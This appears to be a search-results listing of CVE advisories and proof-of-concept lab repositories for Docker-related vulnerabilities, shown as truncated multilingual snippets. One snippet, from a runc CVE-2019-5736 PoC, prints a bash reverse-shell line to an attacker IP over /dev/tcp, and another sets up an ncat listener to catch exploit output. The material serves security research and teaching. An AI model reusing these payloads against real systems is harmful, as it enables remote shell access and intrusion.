12192 matches found
CVE-2026-93323 Oversized Dockerfile or .dockerignore can exhaust buildkitd memory
The Dockerfile frontend loaded the Dockerfile and .dockerignore files of a build context into memory without a size limit. A build context containing an oversized file could make buildkitd allocate memory proportional to that file, potentially exhausting memory and terminating the daemon, which...
CVE-2026-93323
The Dockerfile frontend is vulnerable to a memory exhaustion attack because it loads Dockerfile and .dockerignore files into memory without a size limit. An attacker providing a build context with an oversized file can cause buildkitd to allocate proportional memory, potentially leading to a Deni...
CVE-2026-93323 Oversized Dockerfile or .dockerignore can exhaust buildkitd memory
The Dockerfile frontend loaded the Dockerfile and .dockerignore files of a build context into memory without a size limit. A build context containing an oversized file could make buildkitd allocate memory proportional to that file, potentially exhausting memory and terminating the daemon, which...
CVE-2026-93323 Oversized Dockerfile or .dockerignore can exhaust buildkitd memory
The Dockerfile frontend loaded the Dockerfile and .dockerignore files of a build context into memory without a size limit. A build context containing an oversized file could make buildkitd allocate memory proportional to that file, potentially exhausting memory and terminating the daemon, which...
webmin_docker_and_exp
Docker-webmin-RCE-lab 1. ملفات Dockerfiles لاستنساخ ثغرة CVE-2019-15107 webmin RCE بما في ذلك الإصدارين v1.890 و v1.920. 2. استغلال لكل إصدار. بناء الصورة First, clone the files Then cd webmin1.890/1.920docker docker build -t hachp1/webmin . تشغيل الحاوية docker run -d -p 10000:10000 hachp1/webmi...
log4shell-poc-lab
عرض توضيحي لـ Log4Shell POC يحتوي هذا المستودع على وحدة فرعية submodule، يمكنك استنساخه باستخدام: git clone --recurse-submodules [email protected]:obscuritylabs/log4shell-poc-lab.git ثم لتشغيل العرض التوضيحي نفّذ: docker compose up لعرض الاستغلال الذي ينشئ ملفًا على الخادم الضحية، نفّذ: dock...
cve-2026-20896-gitea-poc
CVE-2026-20896 Gitea Docker Auth Bypass Checker عمليات فريق أحمر/اختبار الاختراق المصرّح بها فقط. يحتوي هذا المستودع على أداة فحص بسيطة لـ CVE-2026-20896، وهي ثغرة تجاوز للمصادقة في صور Gitea Docker الرسمية حتى الإصدار 1.26.2 ضمنًا، عندما يكون المصادقة عبر البروكسي العكسي مفعّلة. ما هي...
CVE-2026-78122-POC
CVE-2026-78122 — إثبات المفهوم Tecnativadocker-socket-proxy ≤ 0.5.0 — عدم كفاية دقة التحكم في الوصول CWE-1220 CVSS 4.0: 8.3 عالٍ — CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N ناقل الهجوم مجاور AV:A: يحتاج المهاجم إلى وصول شبكة محلي/مجاور إلى الوكيل — وهذا هو تحديدًا سبب إبقائه...
CVE-2026-58455-PoC
CVE-2026-58455 — Dockwatch: ثغرة تنفيذ أكواد عن بُعد غير مصادق عليها تجاوز المصادقة + حقن أوامر إثبات فكرة لـ CVE-2026-58455 : تنفيذ أكواد عن بُعد غير مصادق عليه في Dockwatch من Notifiarr، وهي واجهة ويب ذاتية الاستضافة لإدارة حاويات Docker. يؤثر على جميع الإصدارات حتى 0.6.567. السبب الجذري تم...
cve-2019-5736-poc
الرؤوس المطلوب إضافتها stage2.c bash include bash include تعديل IP الخاص بجهاز المهاجم stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; إنشاء صورة Docker والحاوية $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo cp /usr/bin/docker-runc...
CVE-2023-33246-Copy
1. संदर्भ अध्ययन CVE-2023-33246 https://github.com/I5N0rth/CVE-2023-33246 2. स्थानीय वातावरण सेटअप 2.1 छवि डाउनलोड करें docker pull apache/rocketmq:4.9.1 docker pull apacherocketmq/rocketmq-console:2.0.0 2.2 broker, namesrv, console प्रारंभ करें namesrv प्रारंभ करें docker run -dit -p 9876:9876...
CVE-2025-9074-PoC
Docker API Unauthenticated RCE CVE-2025-9074 डॉकर डेस्कटॉप में CVE-2025-9074 नामक एक गंभीर भेद्यता स्थानीय रूप से चलने वाले लिनक्स कंटेनरों को डिफ़ॉल्ट सबनेट 192.168.65.7:2375 के माध्यम से डॉकर इंजन एपीआई से कनेक्ट करने में सक्षम बनाती है। यह समस्या बढ़ी हुई कंटेनर आइसोलेशन ECI या TCP एक्सपोज़र...
CVE-2025-32375
إعداد الإصدار الضعيف. شغّل الحاوية الضعيفة: docker compose up أنشئ مستمعًا مثل ncat: ncat -klnv 1337 شغّل الاستغلال: python3 exploit.py يجب أن تستقبل طلب HTTP في نافذة ncat يتضمن مخرجات أمر نظام التشغيل id افتراضيًا إذا كان كل شيء يعمل كما هو متوقع. إشادات تم العثور على الثغرة بواسطة SeaW1nd...
Exploite-CVE-2023-30212-Vulnerability
إنشاء بيئة Docker قابلة للاستغلال وعرضة لثغرة CVE-2023-30212 الوصف بيئة Docker واستغلال ثغرة CVE-2023-30212. CVE-2023-30212 هي ثغرة أمنية تؤثر على إصدارات OURPHP السابقة أو المساوية للإصدار 7.2.0. تسمح هذه الثغرة بهجمات Cross-Site Scripting XSS OURPHP sudo apt update sudo apt install docker.io...
jenkinsci__docker-commons-plugin_CVE-2022-20617_1-17
ملحق Docker Commons API لـ Jenkins ملحق API يوفر الوظائف المشتركة للعديد من الملحقات المتعلقة بـ Docker. ملخص API لإدارة بصمات صور وحاويات Docker بيانات الاعتماد وموقع سجل Docker بيانات الاعتماد وموقع خادم Docker المعروف أيضًا باسم Docker Remote API ToolInstallation لعملاء Docker CLI نقطة تمديد...
test-task-CVE-2024-25600
مهمة اختبار - CVE-2024-25600 مستودع لمهمة اختبار التدريب. الخطوة 0: استنساخ مستودع git هذا git clone https://github.com/Sibul-Dan-Glokta/test-task-CVE-2024-25600 الخطوة 1: إنشاء حاويات دوكر بدء تشغيل ديمون دوكر sudo systemctl start docker.service بدء تشغيل حاويات دوكر لبدء تشغيل حاوية دوكر، انتقل...
android-kernel-exploitation-ashfaq-CVE-2019-2215
android-kernel-exploitation-ashfaq-CVE-2019-2215. صورة Docker مقدمة من المستخدم Robert Dan في الورشة...
Log4Shell-demo
Log4Shell في العمل يهدف هذا المشروع إلى توضيح كيفية عمل ثغرة Log4Shell / CVE-2021-44228. المتطلبات تحتاج فقط إلى تثبيت Docker. ومن الأفضل أن يكون لديك جهازان افتراضيان مختلفان. أحدهم للخادم الضعيف vulnerable server والآخر للخادم الخبيث malicious server الذي سيستضيف قاعدة الكود الخبيثة وخادم LDAP...
poc-cve-2024-23334
poc-cve-2024-23334 يحتوي هذا المستودع على إثبات مفهوم حول استغلال مكتبة aiohttp للثغرة المُبلّغ عنها CVE-2024-23334. تم إنشاؤه لسببين: 1. أغراض تعليمية: لمن يبدأون في أمن التطبيقات، من المفيد رؤية خطوات إعادة إنتاج الثغرة بالإضافة إلى فهم المفاهيم الكامنة وراء ذلك. 2. خطوات الإصلاح: مشاركة خطوات...